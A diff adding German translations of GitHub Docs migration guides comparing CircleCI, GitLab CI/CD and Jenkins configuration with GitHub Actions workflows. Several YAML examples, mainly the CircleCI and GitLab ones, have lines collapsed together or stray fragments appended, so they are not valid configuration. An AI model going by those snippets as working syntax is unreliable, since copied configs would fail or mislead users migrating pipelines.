+Sowohl CircleCI als auch {% data variables.product.prodname_actions %} bieten Mechanismen für die Persistierung von Daten zwischen Jobs.
+
+Nachfolgend siehst du ein Beispiel in der Konfigurationssyntax von CircleCI und {% data variables.product.prodname_actions %}.
+
+<table>
+<tr>
+<th>
+CircleCI
+</th>
+<th>
+GitHub-Aktionen
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+- persist_to_workspace:
+    root: workspace
+    paths:
+      - math-homework.txt
+
+...
+
+- attach_workspace:   at: /tmp/workspace
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+
+```yaml
+- name: Upload math result for job 1
+  uses: {% data reusables.actions.action-upload-artifact %}
+  with:
+    name: homework
+    path: math-homework.txt
+
+...
+
+- name: Download math result for job 1
+  uses: {% data reusables.actions.action-download-artifact %}
+  with:
+    name: homework
+```
+
+</td>
+</tr>
+</table>
+
+Weitere Informationen findest du unter [Speichern von Workflowdaten mithilfe von Artefakten](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts).
+
+## Datenbanken und Service-Container verwenden
+
+Mit beiden Systemen kannst du zusätzliche Container für Datenbanken, Zwischenspeicherung im Cache oder andere Abhängigkeiten einbinden.
+
+In CircleCI ist das erste in der Datei *config.yaml* aufgelistete Image das primäre Image, welches benutzt wird, um Befehle auszuführen. {% data variables.product.prodname_actions %} verwendet explizite Abschnitte: verwende `container` für den primären Container, und liste zusätzliche Container in `services` auf.
+
+Nachfolgend siehst du ein Beispiel in der Konfigurationssyntax von CircleCI und {% data variables.product.prodname_actions %}.
+
+<table class="d-block">
+<tr>
+<th>
+CircleCI
+</th>
+<th>
+GitHub-Aktionen
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+---
+version: 2.1
+
+jobs:
+
+  ruby-26: docker: - image: circleci/ruby:2.6.3-node-browsers-legacy environment: PGHOST: localhost PGUSER: administrate RAILS_ENV: test - image: postgres:10.1-alpine environment: POSTGRES_USER: administrate POSTGRES_DB: ruby26 POSTGRES_PASSWORD: ""
+
+    working_directory: ~/administrate
+
+    steps:
+      - checkout
+
+      # Bundle install dependencies
+      - run: bundle install --path vendor/bundle
+
+      # Wait for DB
+      - run: dockerize -wait tcp://localhost:5432 -timeout 1m
+
+      # Setup the environment
+      - run: cp .sample.env .env
+
+      # Setup the database
+      - run: bundle exec rake db:setup
+
+      # Run the tests
+      - run: bundle exec rake
+
+
+workflows: version: 2 build: jobs: - ruby-26 ...
+
+- attach_workspace:   at: /tmp/workspace
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+
+```yaml
+name: Containers
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: ubuntu-latest
+    container: circleci/ruby:2.6.3-node-browsers-legacy
+
+    env:
+      PGHOST: postgres
+      PGUSER: administrate
+      RAILS_ENV: test
+
+    services:
+      postgres:
+        image: postgres:10.1-alpine
+        env:
+          POSTGRES_USER: administrate
+          POSTGRES_DB: ruby25
+          POSTGRES_PASSWORD: ""
+        ports:
+          - 5432:5432
+        # Add a health check
+        options: --health-cmd pg_isready --health-interval 10s --health-timeout 5s --health-retries 5
+
+    steps:
+      # This Docker file changes sets USER to circleci instead of using the default user, so we need to update file permissions for this image to work on GH Actions.
+      # See https://docs.github.com/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem
+
+      - name: Setup file system permissions
+        run: sudo chmod -R 777 $GITHUB_WORKSPACE /github /__w/_temp
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Install dependencies
+        run: bundle install --path vendor/bundle
+      - name: Setup environment configuration
+        run: cp .sample.env .env
+      - name: Setup database
+        run: bundle exec rake db:setup
+      - name: Run tests
+        run: bundle exec rake
+```
+</td>
+</tr>
+</table>
+
+Weitere Informationen findest du unter [Informationen zu Dienstcontainern](/actions/configuring-and-managing-workflows/about-service-containers).
+
+## Vollständiges Beispiel
+
+Nachfolgend siehst du ein Beispiel aus der realen Welt. Auf der linken Seite ist die tatsächliche CircleCI-Datei *config.yml* für das Repository [thoughtbot/administrator](https://github.com/thoughtbot/administrate) gezeigt. Die rechte Seite zeigt das Äquivalent unter {% data variables.product.prodname_actions %}.
+
+<table class="d-block">
+<tr>
+<th>
+CircleCI
+</th>
+<th>
+GitHub-Aktionen
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+---
+version: 2.1
+
+commands: shared_steps: steps: - checkout
+
+      # Restore Cached Dependencies
+      - restore_cache:
+          name: Restore bundle cache
+          key: administrate-{{ checksum "Gemfile.lock" }}
+
+      # Bundle install dependencies
+      - run: bundle install --path vendor/bundle
+
+      # Cache Dependencies
+      - save_cache:
+          name: Store bundle cache
+          key: administrate-{{ checksum "Gemfile.lock" }}
+          paths:
+            - vendor/bundle
+
+      # Wait for DB
+      - run: dockerize -wait tcp://localhost:5432 -timeout 1m
+
+      # Setup the environment
+      - run: cp .sample.env .env
+
+      # Setup the database
+      - run: bundle exec rake db:setup
+
+      # Run the tests
+      - run: bundle exec rake
+
+default_job: &default_job working_directory: ~/administrate steps:
+    - shared_steps
+    # Run the tests against multiple versions of Rails
+    - run: bundle exec appraisal install
+    - run: bundle exec appraisal rake
+
+jobs: ruby-25: <<: *default_job docker: - image: circleci/ruby:2.5.0-node-browsers environment: PGHOST: localhost PGUSER: administrate RAILS_ENV: test - image: postgres:10.1-alpine environment: POSTGRES_USER: administrate POSTGRES_DB: ruby25 POSTGRES_PASSWORD: ""
+
+  ruby-26: <<: *default_job docker: - image: circleci/ruby:2.6.3-node-browsers-legacy environment: PGHOST: localhost PGUSER: administrate RAILS_ENV: test - image: postgres:10.1-alpine environment: POSTGRES_USER: administrate POSTGRES_DB: ruby26 POSTGRES_PASSWORD: ""
+
+
+workflows: version: 2 multiple-rubies: jobs: - ruby-26 - ruby-25
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+
+```yaml
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Containers
+
+on: [push]
+
+jobs:
+  build:
+
+    strategy:
+      matrix:
+        ruby: [2.5, 2.6.3]
+
+    runs-on: ubuntu-latest
+
+    env:
+      PGHOST: localhost
+      PGUSER: administrate
+      RAILS_ENV: test
+
+    services:
+      postgres:
+        image: postgres:10.1-alpine
+        env:
+          POSTGRES_USER: administrate
+          POSTGRES_DB: ruby25
+          POSTGRES_PASSWORD: ""
+        ports:
+          - 5432:5432
+        # Add a health check
+        options: --health-cmd pg_isready --health-interval 10s --health-timeout 5s --health-retries 5
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Setup Ruby
+        uses: eregon/use-ruby-action@477b21f02be01bcb8030d50f37cfec92bfa615b6
+        with:
+          ruby-version: {% raw %}${{ matrix.ruby }}{% endraw %}
+      - name: Cache dependencies
+        uses: {% data reusables.actions.action-cache %}
+        with:
+          path: vendor/bundle
+          key: administrate-{% raw %}${{ matrix.image }}-${{ hashFiles('Gemfile.lock') }}{% endraw %}
+      - name: Install postgres headers
+        run: |
+          sudo apt-get update
+          sudo apt-get install libpq-dev
+      - name: Install dependencies
+        run: bundle install --path vendor/bundle
+      - name: Setup environment configuration
+        run: cp .sample.env .env
+      - name: Setup database
+        run: bundle exec rake db:setup
+      - name: Run tests
+        run: bundle exec rake
+      - name: Install appraisal
+        run: bundle exec appraisal install
+      - name: Run appraisal
+        run: bundle exec appraisal rake
+```
+</td>
+</tr>
+</table>
diff --git a/translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md b/translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
new file mode 100644
index 0000000000..7ec92f2775
--- /dev/null
+++ b/translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
@@ -0,0 +1,486 @@
+---
+title: Migrieren von GitLab CI/CD zu GitHub Actions
+intro: '{% data variables.product.prodname_actions %} und GitLab-CI/CD-Vorgänge weisen deutliche Ähnlichkeiten hinsichtlich der Konfiguration auf, was die Migration zu {% data variables.product.prodname_actions %} relativ einfach macht.'
+redirect_from:
+  - /actions/learn-github-actions/migrating-from-gitlab-cicd-to-github-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - GitLab
+  - Migration
+  - CI
+  - CD
+shortTitle: Migrate from GitLab CI/CD
+ms.openlocfilehash: d0d5f2cae928f95b1a614826f270342f376db0de
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '146178983'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+Sowohl GitLab CI/CD als auch {% data variables.product.prodname_actions %} erlauben es Ihnen, Workflows zu erstellen, mit denen Code automatisch erstellt, getestet, veröffentlicht, freigegeben und bereitgestellt wird. GitLab CI/CD und {% data variables.product.prodname_actions %} haben einige Ähnlichkeiten in der Workflow-Konfiguration:
+
+- Workflow-Konfigurationsdateien werden in YAML geschrieben und im Code-Repository gespeichert.
+- Workflows umfassen einen oder mehrere Jobs.
+- Jobs beinhalten einen oder mehrere Schritte oder einzelne Befehle.
+- Aufträge können entweder auf verwalteten oder auf selbstgehosteten Computern ausgeführt werden.
+
+Es gibt einige Unterschiede, und in diesem Leitfaden kannst du dich mit den wichtigsten Unterschieden vertraut machen, damit du deinen Workflow zu {% data variables.product.prodname_actions %} migrieren kannst.
+
+## Aufträge
+
+Aufträge in GitLab CI/CD sind Aufträgen in {% data variables.product.prodname_actions %} sehr ähnlich. In beiden Systemen haben Jobs folgende Merkmale:
+
+* Aufträge enthalten eine Reihe von Schritten oder Skripts, die sequenziell ausgeführt werden.
+* Aufträge können auf separaten Computern oder in separaten Containern ausgeführt werden.
+* Jobs werden standardmäßig parallel ausgeführt, können aber so konfiguriert werden, dass sie sequentiell laufen.
+
+Du kannst ein Skript oder einen Shellbefehl in einem Auftrag ausführen. In GitLab CI/CD werden Skriptschritte mithilfe des Schlüssels `script` angegeben. In {% data variables.product.prodname_actions %} sind alle Skripts mit dem Schlüssel `run` spezifiziert.
+
+Nachfolgend ein Beispiel für die Syntax in jedem System:
+
+<table class="d-block">
+<tr>
+<th>
+GitLab CI/CD
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+job1:
+  variables:
+    GIT_CHECKOUT: "true"
+  script:
+    - echo "Run your script here"
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+
+```yaml
+jobs:
+  job1:
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - run: echo "Run your script here"
+```
+
+</td>
+</tr>
+</table>
+
+## Runner
+
+Runner sind Computer, auf denen die Aufträge ausgeführt werden. Sowohl GitLab CI/CD als auch {% data variables.product.prodname_actions %} bieten verwaltete und selbstgehostete Varianten von Runnern an. In GitLab CI/CD werden `tags` dazu verwendet, Aufträge auf verschiedenen Plattformen auszuführen, während sie in {% data variables.product.prodname_actions %} mit dem Schlüssel `runs-on` ausgeführt werden.
+
+Nachfolgend ein Beispiel für die Syntax in jedem System:
+
+<table>
+<tr>
+<th>
+GitLab CI/CD
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+windows_job:
+  tags:
+    - windows
+  script:
+    - echo Hello, %USERNAME%!
+
+linux_job: tags:
+    - linux script:
+    - echo "Hello, $USER!"
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+windows_job:
+  runs-on: windows-latest
+  steps:
+    - run: echo Hello, %USERNAME%!
+
+linux_job:
+  runs-on: ubuntu-latest
+  steps:
+    - run: echo "Hello, $USER!"
+```
+{% endraw %}
+</td>
+</tr>
+</table>
+
+Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on).
+
+## Docker-Images
+
+Sowohl GitLab CI/CD als auch {% data variables.product.prodname_actions %} unterstützen die Ausführung von Aufträgen in einem Docker-Image. In GitLab CI/CD werden Docker-Images mit einem `image`-Schlüssel definiert, während sie in {% data variables.product.prodname_actions %} mit dem Schlüssel `container` definiert werden.
+
+Nachfolgend ein Beispiel für die Syntax in jedem System:
+
+<table class="d-block">
+<tr>
+<th>
+GitLab CI/CD
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+my_job:
+  image: node:10.16-jessie
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+jobs:
+  my_job:
+    container: node:10.16-jessie
+```
+{% endraw %}
+</td>
+</tr>
+</table>
+
+Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer).
+
+## Bedingungs- und Ausdruckssyntax
+
+In GitLab CI/CD wird anhand von `rules` festgestellt, ob ein Auftrag für eine bestimmte Bedingung ausgeführt wird. Von {% data variables.product.prodname_actions %} wird mithilfe des Schlüsselworts `if` sichergestellt, dass ein Auftrag nur dann ausgeführt wird, wenn eine Bedingung erfüllt wird.
+
+Nachfolgend ein Beispiel für die Syntax in jedem System:
+
+<table class="d-block">
+<tr>
+<th>
+GitLab CI/CD
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+deploy_prod:
+  stage: deploy
+  script:
+    - echo "Deploy to production server"
+  rules:
+    - if: '$CI_COMMIT_BRANCH == "master"'
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+jobs:
+  deploy_prod:
+    if: contains( github.ref, 'master')
+    runs-on: ubuntu-latest
+    steps:
+      - run: echo "Deploy to production server"
+```
+{% endraw %}
+</td>
+</tr>
+</table>
+
+Weitere Informationen findest du unter [Ausdrücke](/actions/learn-github-actions/expressions).
+
+## Abhängigkeiten zwischen Jobs
+
+Sowohl mit GitLab CI/CD als auch mit {% data variables.product.prodname_actions %} kannst du Abhängigkeiten für einen Job festlegen. In beiden Systemen werden Aufträge standardmäßig parallel ausgeführt, aber Auftragsabhängigkeiten in {% data variables.product.prodname_actions %} können explizit mit dem Schlüssel `needs` angegeben werden. In GitLab CI/CD existiert auch ein Konzept von `stages`. Hier werden Aufträge in einer Phase gleichzeitig ausgeführt, aber die nächste Phase beginnt erst dann, wenn alle Aufträge aus der vorherigen Phase abgeschlossen sind. Dieses Szenario kannst du in {% data variables.product.prodname_actions %} mit dem Schlüssel `needs` nachbilden.
+
+Nachfolgend ein Beispiel für die Syntax in jedem System. Die Workflows beginnen mit zwei Aufträgen namens `build_a` und `build_b`, die parallel ausgeführt werden. Nach Abschluss dieser Aufträge wird ein weiterer Auftrag ausgeführt, der mit der Bezeichnung `test_ab` benannt ist. Schließlich wird, nach Abschluss von `test_ab`, der Auftrag `deploy_ab` ausgeführt.
+
+<table class="d-block">
+<tr>
+<th>
+GitLab CI/CD
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+stages:
+  - build
+  - test
+  - deploy
+
+build_a: stage: build script:
+    - echo "This job will run first."
+
+build_b: stage: build script:
+    - echo "This job will run first, in parallel with build_a."
+
+test_ab: stage: test script:
+    - echo "This job will run after build_a and build_b have finished."
+
+deploy_ab: stage: deploy script:
+    - echo "This job will run after test_ab is complete"
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+jobs:
+  build_a:
+    runs-on: ubuntu-latest
+    steps:
+      - run: echo "This job will be run first."
+
+  build_b:
+    runs-on: ubuntu-latest
+    steps:
+      - run: echo "This job will be run first, in parallel with build_a"
+
+  test_ab:
+    runs-on: ubuntu-latest
+    needs: [build_a,build_b]
+    steps:
+      - run: echo "This job will run after build_a and build_b have finished"
+
+  deploy_ab:
+    runs-on: ubuntu-latest
+    needs: [test_ab]
+    steps:
+      - run: echo "This job will run after test_ab is complete"
+```
+{% endraw %}
+</td>
+</tr>
+</table>
+
+Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds).
+
+## Planen von Workflows
+
+Sowohl GitLab CI/CD als auch {% data variables.product.prodname_actions %} ermöglichen es Ihnen, Workflows in einem bestimmten Intervall auszuführen. In GitLab CI/CD werden Pipelinepläne mit der Benutzeroberfläche konfiguriert, während du in {% data variables.product.prodname_actions %} einen Workflow in einem geplanten Intervall mit dem Schlüssel „on“ auslösen kannst.
+
+Weitere Informationen findest du unter [Ereignisse, die Workflows auslösen](/actions/reference/events-that-trigger-workflows#scheduled-events).
+
+## Variablen und Geheimnisse
+
+GitLab CI/CD und {% data variables.product.prodname_actions %} unterstützen das Festlegen von Umgebungsvariablen in der Pipeline- oder Workflowkonfigurationsdatei und das Erstellen von Geheimnissen mithilfe der Benutzeroberfläche von GitLab oder {% data variables.product.product_name %}.
+
+Weitere Informationen findest du unter [Umgebungsvariablen](/actions/reference/environment-variables) und [Verschlüsselte Geheimnisse](/actions/reference/encrypted-secrets).
+
+## Zwischenspeicherung
+
+GitLab CI/CD und {% data variables.product.prodname_actions %} stellen in der Konfigurationsdatei eine Methode zum manuellen Zwischenspeichern von Workflowdateien bereit.
+
+{% ifversion actions-caching %}
+
+Nachfolgend ein Beispiel für die Syntax in jedem System:
+
+<table class="d-block">
+<tr>
+<th>
+GitLab CI/CD
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+image: node:latest
+
+cache: key: $CI_COMMIT_REF_SLUG paths:
+    - .npm/
+
+before_script:
+  - npm ci --cache .npm --prefer-offline
+
+test_async: script:
+    - node ./specs/start.js ./specs/async.spec.js
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+
+```yaml
+jobs:
+  test_async:
+    runs-on: ubuntu-latest
+    steps:
+    - name: Cache node modules
+      uses: {% data reusables.actions.action-cache %}
+      with:
+        path: ~/.npm
+        key: {% raw %}v1-npm-deps-${{ hashFiles('**/package-lock.json') }}{% endraw %}
+        restore-keys: v1-npm-deps-
+```
+
+</td>
+</tr>
+</table>
+
+{% else %}
+
+{% data reusables.actions.caching-availability %}
+
+{% endif %}
+
+## Artifacts
+
+Sowohl von GitLab CI/CD als auch von {% data variables.product.prodname_actions %} können Dateien und Verzeichnisse hochgeladen werden, die von einem Auftrag als Artefakte erstellt wurden. In {% data variables.product.prodname_actions %} können Artefakte dazu verwendet werden, Daten über mehrere Aufträge hinweg beizubehalten.
+
+Nachfolgend ein Beispiel für die Syntax in jedem System:
+
+<table>
+<tr>
+<th>
+GitLab CI/CD
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+script:
+artifacts:
+  paths:
+    - math-homework.txt
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+
+```yaml
+- name: Upload math result for job 1
+  uses: {% data reusables.actions.action-upload-artifact %}
+  with:
+    name: homework
+    path: math-homework.txt
+```
+
+</td>
+</tr>
+</table>
+
+Weitere Informationen findest du unter [Speichern von Workflowdaten als Artefakte](/actions/guides/storing-workflow-data-as-artifacts).
+
+## Datenbanken und Dienstcontainer
+
+Mit beiden Systemen kannst du zusätzliche Container für Datenbanken, Zwischenspeicherung im Cache oder andere Abhängigkeiten einbinden.
+
+In GitLab CI/CD wird ein Container für den Auftrag mit dem Schlüssel `image` angegeben, während von {% data variables.product.prodname_actions %} der Schlüssel `container` verwendet wird. In beiden Systemen werden zusätzliche Dienstcontainer mit dem Schlüssel `services` angegeben.
+
+Nachfolgend ein Beispiel für die Syntax in jedem System:
+
+<table class="d-block">
+<tr>
+<th>
+GitLab CI/CD
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+container-job:
+  variables:
+    POSTGRES_PASSWORD: postgres
+    # The hostname used to communicate with the
+    # PostgreSQL service container
+    POSTGRES_HOST: postgres
+    # The default PostgreSQL port
+    POSTGRES_PORT: 5432
+  image: node:10.18-jessie
+  services:
+    - postgres
+  script:
+    # Performs a clean installation of all dependencies
+    # in the `package.json` file
+    - npm ci
+    # Runs a script that creates a PostgreSQL client,
+    # populates the client with data, and retrieves data
+    - node client.js
+  tags:
+    - docker
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+
+```yaml
+jobs:
+  container-job:
+    runs-on: ubuntu-latest
+    container: node:10.18-jessie
+
+    services:
+      postgres:
+        image: postgres
+        env:
+          POSTGRES_PASSWORD: postgres
+
+    steps:
+      - name: Check out repository code
+        uses: {% data reusables.actions.action-checkout %}
+
+      # Performs a clean installation of all dependencies
+      # in the `package.json` file
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Connect to PostgreSQL
+        # Runs a script that creates a PostgreSQL client,
+        # populates the client with data, and retrieves data
+        run: node client.js
+        env:
+          # The hostname used to communicate with the
+          # PostgreSQL service container
+          POSTGRES_HOST: postgres
+          # The default PostgreSQL port
+          POSTGRES_PORT: 5432
+```
+
+</td>
+</tr>
+</table>
+
+Weitere Informationen findest du unter [Informationen zu Dienstcontainern](/actions/guides/about-service-containers).
diff --git a/translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md b/translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
new file mode 100644
index 0000000000..5de33808b3
--- /dev/null
+++ b/translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
@@ -0,0 +1,293 @@
+---
+title: Von Jenkins zu GitHub-Aktionen migrieren
+intro: '{% data variables.product.prodname_actions %} und Jenkins haben mehrere Ähnlichkeiten, was die Migration zu {% data variables.product.prodname_actions %} relativ einfach macht.'
+redirect_from:
+  - /actions/learn-github-actions/migrating-from-jenkins-to-github-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Jenkins
+  - Migration
+  - CI
+  - CD
+shortTitle: Migrate from Jenkins
+ms.openlocfilehash: 177ec8c5e7355b87bdd82dd7cff88d4ae89557e4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145107240'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+Jenkins und {% data variables.product.prodname_actions %} ermöglichen es Dir, Workflows zu erstellen, die automatisch Code bauen, testen, publizieren, freigeben und bereitstellen. Jenkins und {% data variables.product.prodname_actions %} haben einige Ähnlichkeiten in der Workflow-Konfiguration:
+
+- Jenkins erstellt Workflows mit _deklarativen Pipelines_, die den Workflowdateien in {% data variables.product.prodname_actions %} ähneln.
+- Jenkins verwendet _Phasen_, um eine Reihe von Schritten auszuführen, während {% data variables.product.prodname_actions %} Aufträge verwendet, um Schritte oder einzelne Befehle zu gruppieren.
+- Jenkins und {% data variables.product.prodname_actions %} unterstützen Container-basierte Builds. Weitere Informationen findest du unter [Erstellen einer Docker-Containeraktion](/articles/creating-a-docker-container-action).
+- Schritte oder Aufgaben können wiederverwendet und in der Community gemeinsam genutzt werden.
+
+Weitere Informationen findest du unter [Kernkonzepte für {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions).
+
+## Wichtige Unterschiede
+
+- Jenkins hat zwei Arten von Syntax zur Erzeugung von Pipelines: Deklarative Pipeline und „Scripted“ (Skript-basierte) Pipeline. {% data variables.product.prodname_actions %} verwendet YAML, um Workflows und Konfigurationsdateien zu erstellen. Weitere Informationen findest du unter [Workflowsyntax für GitHub Actions](/actions/reference/workflow-syntax-for-github-actions).
+- Die Deployments von Jenkins ist üblicherweise selbst-gehosted, wobei die Benutzer die Server in ihren eigenen Rechenzentren betreuen. {% data variables.product.prodname_actions %} bieten einen hybriden Cloud-Ansatz, indem sie ihre eigenen Runner betreiben, die du zum Ausführen von Jobs verwenden kannst, während sie auch selbst-gehostete Läufer unterstützen. Weitere Informationen findest du unter [Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners).
+
+## Funktionaltäten im Vergleich
+
+### Deine Builds verteilen
+
+Mit Jenkins kannst Du Builds an einen einzelnen Build-Agenten senden oder sie über mehrere Agenten verteilen. Du kannst diese Agenten auch nach verschiedenen Attributen klassifizieren, wie zum Beispiel Arten von Betriebssystemen.
+
+In ähnlicher Weise kann {% data variables.product.prodname_actions %} Aufträge an von {% data variables.product.prodname_dotcom %} gehostete oder an selbstgehostete Runner senden, und du kannst Bezeichnungen verwenden, um die Runner nach verschiedenen Attributen zu klassifizieren. Weitere Informationen findest du unter [Grundlegendes zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions#runners) sowie unter [Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners).
+
+### Sektionen verwenden, um Pipelines zu organisieren
+
+Jenkins teilt seine Deklarative Pipelines in mehrere Sektionen auf. In ähnlicher Weise strukturiert {% data variables.product.prodname_actions %} seine Workflows in separaten Sektionen. Die folgende Tabelle vergleicht Sektionen bei Jenkins mit dem Workflow bei {% data variables.product.prodname_actions %}.
+
+| Anweisungen in Jenkins | {% data variables.product.prodname_actions %} |
+| ------------- | ------------- |
+| [`agent`](https://jenkins.io/doc/book/pipeline/syntax/#agent)   | [`jobs.<job_id>.runs-on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on) <br> [`jobs.<job_id>.container`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainer) |
+| [`post`](https://jenkins.io/doc/book/pipeline/syntax/#post)     |  |
+| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#stages) | [`jobs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobs) |
+| [`steps`](https://jenkins.io/doc/book/pipeline/syntax/#steps)   | [`jobs.<job_id>.steps`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps) |
+
+## using-Direktiven
+
+Jenkins verwendet Anweisungen, um _deklarative Pipelines_ zu verwalten. Diese Anweisungen definieren die Merkmale Deines Workflows und die Art und weise, wie dieser ausgeführt wird. Die folgende Tabelle zeigt, wie diese Anweisungen den Konzepten innerhalb von {% data variables.product.prodname_actions %} entsprechen.
+
+| Anweisungen in Jenkins | {% data variables.product.prodname_actions %} |
+| ------------- | ------------- |
+| [`environment`](https://jenkins.io/doc/book/pipeline/syntax/#environment)                  | [`jobs.<job_id>.env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env) <br> [`jobs.<job_id>.steps[*].env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv) |
+| [`options`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                       | [`jobs.<job_id>.strategy`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy) <br> [`jobs.<job_id>.strategy.fail-fast`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast) <br> [`jobs.<job_id>.timeout-minutes`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes) |
+| [`parameters`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                    | [`inputs`](/actions/creating-actions/metadata-syntax-for-github-actions#inputs) <br> [`outputs`](/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-docker-container-and-javascript-actions) |
+| [`triggers`](https://jenkins.io/doc/book/pipeline/syntax/#triggers)                        | [`on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#on) <br> [`on.<event_name>.types`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onevent_nametypes) <br> [<code>on.<push\>.<branches\|tags></code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore) <br> [<code>on.<pull_request\>.<branches\></code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore) <br> [<code>on.<push\|pull_request>.paths</code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore) |
+| [`triggers { upstreamprojects() }`](https://jenkins.io/doc/book/pipeline/syntax/#triggers) | [`jobs.<job_id>.needs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds) |
+| [Cron-Syntax in Jenkins](https://jenkins.io/doc/book/pipeline/syntax/#cron-syntax)            | [`on.schedule`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onschedule) |
